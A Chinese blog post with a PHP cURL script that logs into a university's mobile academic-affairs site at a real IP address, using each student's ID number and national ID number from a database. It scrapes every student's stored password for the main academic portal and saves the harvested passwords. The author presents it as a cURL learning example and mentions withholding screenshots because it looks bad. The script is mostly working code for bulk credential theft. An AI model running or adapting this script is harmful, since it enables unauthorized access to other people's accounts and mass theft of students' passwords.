cURL实现模拟登陆+抓取数据
来源:互联网 发布:苏联巅峰 知乎 编辑:程序博客网 时间:2024/05/16 09:13
昨天用到了php中的cURL扩展,想利用cURL做一些实例,我想到一个例子,模拟登陆到我们学校的手机版教务处,然后抓取个人信息里面保存的正方教务处密码。
手机版教务处:http://211.70.176.123/wap
<?php//1、连接数据库,获取学生信息include ('./curlUtils.php');//curl工具类include ('./Mysql.class.php');//mysql工具类set_time_limit(0);//设置不间断执行$data = Mysql::getAll("select * from student");//所有的学生信息foreach ($data as $stu){ //2、模拟登陆,获取cookie $cookie = login($stu['xh'],$stu['sfzh']); //3、获取学生的个人信息 $info = getInfo($cookie); //4、利用正则解析数据 $pwd = parseData($info); //5、写入数据库 add($stu['xh'],$pwd);}/** * 将密码数据写入到数据库中 * @param [type] $pwd [description] */function add($xh,$pwd){ $data = ['pwd'=>$pwd]; Mysql::exec('student',$data,'update','xh = '.$xh);}/** * 利用正则解析数据,返回教务处PC端登陆密码 * @return [type] [description] */function parseData($info){ preg_match_all("/<td align=\"center\" width=\"150\" height=\"22\" valign=\"middle\">.+<\/td>/",$info,$matches); if(empty($matches[0][5])) { return ''; } $dom = new DOMDocument(); $dom->loadHTML($matches[0][5]); $tdList = $dom->getElementsByTagName("td"); $td = $tdList->item(0); $pwd = $td->childNodes->item(0)->wholeText; return $pwd;}/** * 模拟登陆,获取Cookie * @return [type] [description] */function login($xh,$sfzh){ $curl = new CurlUtils("http://211.70.176.123/wap/index.asp",true); $value = "xh=$xh&sfzh=$sfzh"; file_put_contents('result.html', $curl->post($value)); $fh = fopen('result.html', 'r'); $headers = []; for($i=0;$i<8;$i++){ $headers[] = fgets($fh); } fclose($fh); return substr($headers[6], 12);}/** * 获取学生的个人信息 * @return [type] [description] */function getInfo($cookie){ $curl = new CurlUtils("http://211.70.176.123/wap/grxx.asp"); $value = ["Cookie: $cookie"]; $curl->addHeader($value); return $curl->get();}?>
上面的代码主要有5个步骤:
1、查询数据库中的全部学生
2、循环遍历学生,模拟登陆,获取cookie
3、携带cookie获取学生的个人信息
4、利用正则解析数据,返回教务处PC端登陆密码
5、写入数据库
注:上面用到了两个工具类,都是我以前就封装好的,都开源到博客上了。
curlUtils工具类:http://blog.csdn.net/baochao95/article/details/55105748
Mysql工具类:http://blog.csdn.net/baochao95/article/details/52055353
图我就不贴了,毕竟影响不好!
扩展:
1、我们还可以自己制作API来判断学生是否属于这个学校
2、判断学生是否为计算机学院的学生
0 0
- cURL实现模拟登陆+抓取数据
- 【数据抓取】模拟登陆
- curl实现模拟登陆
- php中CURL技术模拟登陆抓取数据实战,抓取某校教务处学生成绩。
- PHP CURL模拟登录抓取数据
- 使用curl模拟登陆抓取网页指定内容
- python模拟登陆网站抓取数据
- scrapy(二)之模拟登陆实现抓取
- php curl 添加cookie伪造登陆抓取数据
- php curl 添加cookie伪造登陆抓取数据
- curl添加cookie 伪造信息登陆抓取数据
- curl模拟登陆
- php curl模拟登陆
- c++ curl模拟登陆
- c++ curl模拟登陆
- c++ curl模拟登陆
- c++ curl模拟登陆
- CURL模拟登陆
- -1的二进制表示
- Android 数据查询query函数参数解析
- 解析.NET对象的跨应用程序域访问(下篇)
- 数码管显示时钟
- 匈牙利算法
- cURL实现模拟登陆+抓取数据
- hybris中配置热部署
- CF 397 C. Table Tennis Game 2
- 文章标题
- angular2中onresize 多次调用 问题
- 【Socket编程一】Java Socket编程入门介绍
- cubemx_systic定时器
- Html中JavaScript对表格的控制,行和列的增删
- 最简单服务器程序UDP(Linux)